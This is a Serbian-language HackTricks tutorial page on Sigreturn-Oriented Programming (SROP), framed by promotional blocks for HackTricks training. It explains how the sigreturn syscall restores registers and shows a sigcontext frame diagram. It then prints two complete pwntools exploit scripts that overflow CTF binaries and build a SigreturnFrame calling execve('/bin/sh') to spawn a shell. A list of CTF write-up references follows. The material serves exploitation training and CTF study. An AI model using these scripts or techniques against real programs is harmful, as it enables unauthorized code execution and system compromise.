SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Sigreturn
je posebna syscall koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi označili da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću signal handler-a, posebne funkcije dizajnirane za rad sa signalima.
Nakon što signalni handler završi, program treba da nastavi svoje prethodno stanje kao da se ništa nije dogodilo. Tu dolazi do izražaja sigreturn
. Pomaže programu da vrati iz signal handler-a i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
Zanimljiv deo je kako sigreturn
obnavlja stanje programa: to čini tako što čuva sve vrednosti CPU registara na steku. Kada signal više nije blokiran, sigreturn
uklanja te vrednosti sa steka, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
caution
Pozivanje syscall-a sigreturn
iz ROP lanca i dodavanje registarskih vrednosti koje želimo da učitamo u stek omogućava nam da kontrolišemo sve registarske vrednosti i stoga pozovemo na primer syscall execve
sa /bin/sh
.
Obratite pažnju kako bi ovo bio tip Ret2syscall koji olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
Ako vas zanima, ovo je sigcontext struktura koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz ovde):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Za bolje objašnjenje pogledajte takođe:
Primer
Možete pronaći primer ovde gde je poziv na signeturn konstruisan putem ROP (stavljajući u rxa vrednost 0xf
), iako je ovo konačni exploit odatle:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Proverite takođe eksploit ovde gde je binarni fajl već pozivao sigreturn
i stoga nije potrebno to graditi sa ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Ostali Primeri i Reference
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binarni kod koji omogućava pisanje na stek i zatim poziva
sigreturn
syscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture i pročitati flag koji se nalazi unutar memorije binarnog koda. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binarni kod koji omogućava pisanje na stek i zatim poziva
sigreturn
syscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture (binarni kod sadrži string/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava
gets
funkciju sa nedostatkom gadgeta koji izvršava ret2syscall. ROP lanac piše/bin/sh
u.bss
ponovnim pozivanjem gets, zloupotrebljavaalarm
funkciju da postavi eax na0xf
kako bi pozvao SROP i izvršio shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva
exit
. Izabrani syscall jesigreturn
koji će postaviti registre i pomeritieip
da pozove prethodnu syscall instrukciju i izvršimemprotect
da postavi binarni prostor narwx
i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.